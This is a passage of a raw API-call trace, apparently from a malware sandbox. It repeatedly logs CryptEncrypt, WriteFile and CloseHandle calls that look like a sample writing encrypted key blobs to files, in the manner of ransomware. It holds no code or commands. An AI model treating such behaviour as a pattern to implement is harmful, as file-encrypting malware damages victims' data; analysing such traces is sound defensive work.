pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386d570*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386d570*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.442] WriteFile (in: hFile=0x2aec, lpBuffer=0x386d570*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386d570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.442] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.442] CloseHandle (hObject=0x2aec) returned 1 [0225.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.445] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.446] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.446] CloseHandle (hObject=0x2aec) returned 1 [0225.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.449] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.449] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.449] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.450] CloseHandle (hObject=0x2aec) returned 1 [0225.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.462] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.462] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.462] CloseHandle (hObject=0x2aec) returned 1 [0225.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.466] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.466] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.466] CloseHandle (hObject=0x2aec) returned 1 [0225.476] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.476] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.476] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.477] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.477] CloseHandle (hObject=0x2aec) returned 1 [0225.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.480] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.481] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.481] CloseHandle (hObject=0x2aec) returned 1 [0225.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.484] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.484] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.485] CloseHandle (hObject=0x2aec) returned 1 [0225.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.495] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.495] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.495] CloseHandle (hObject=0x2aec) returned 1 [0225.499] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.499] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.499] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.500] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.500] CloseHandle (hObject=0x2aec) returned 1 [0225.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.504] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.505] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.505] CloseHandle (hObject=0x2aec) returned 1 [0225.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.513] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.513] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2618*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.513] CloseHandle (hObject=0x2aec) returned 1 [0225.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.517] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.517] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.517] CloseHandle (hObject=0x2aec) returned 1 [0225.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.520] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.521] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.521] CloseHandle (hObject=0x2aec) returned 1 [0225.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.523] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.524] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.524] CloseHandle (hObject=0x2aec) returned 1 [0225.538] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.538] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.538] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.539] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.539] CloseHandle (hObject=0x2aec) returned 1 [0225.545] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.545] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.546] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.546] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.546] CloseHandle (hObject=0x2aec) returned 1 [0225.549] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.549] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.549] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.549] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.549] CloseHandle (hObject=0x2aec) returned 1 [0225.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.552] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.553] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.553] CloseHandle (hObject=0x2aec) returned 1 [0225.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.556] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.556] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.556] CloseHandle (hObject=0x2aec) returned 1 [0225.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.563] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.563] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.563] CloseHandle (hObject=0x2aec) returned 1 [0225.566] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.566] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.566] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.566] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.567] CloseHandle (hObject=0x2aec) returned 1 [0225.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.569] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.570] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.570] CloseHandle (hObject=0x2aec) returned 1 [0225.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.572] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.573] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.573] CloseHandle (hObject=0x2aec) returned 1 [0225.575] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.575] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.575] 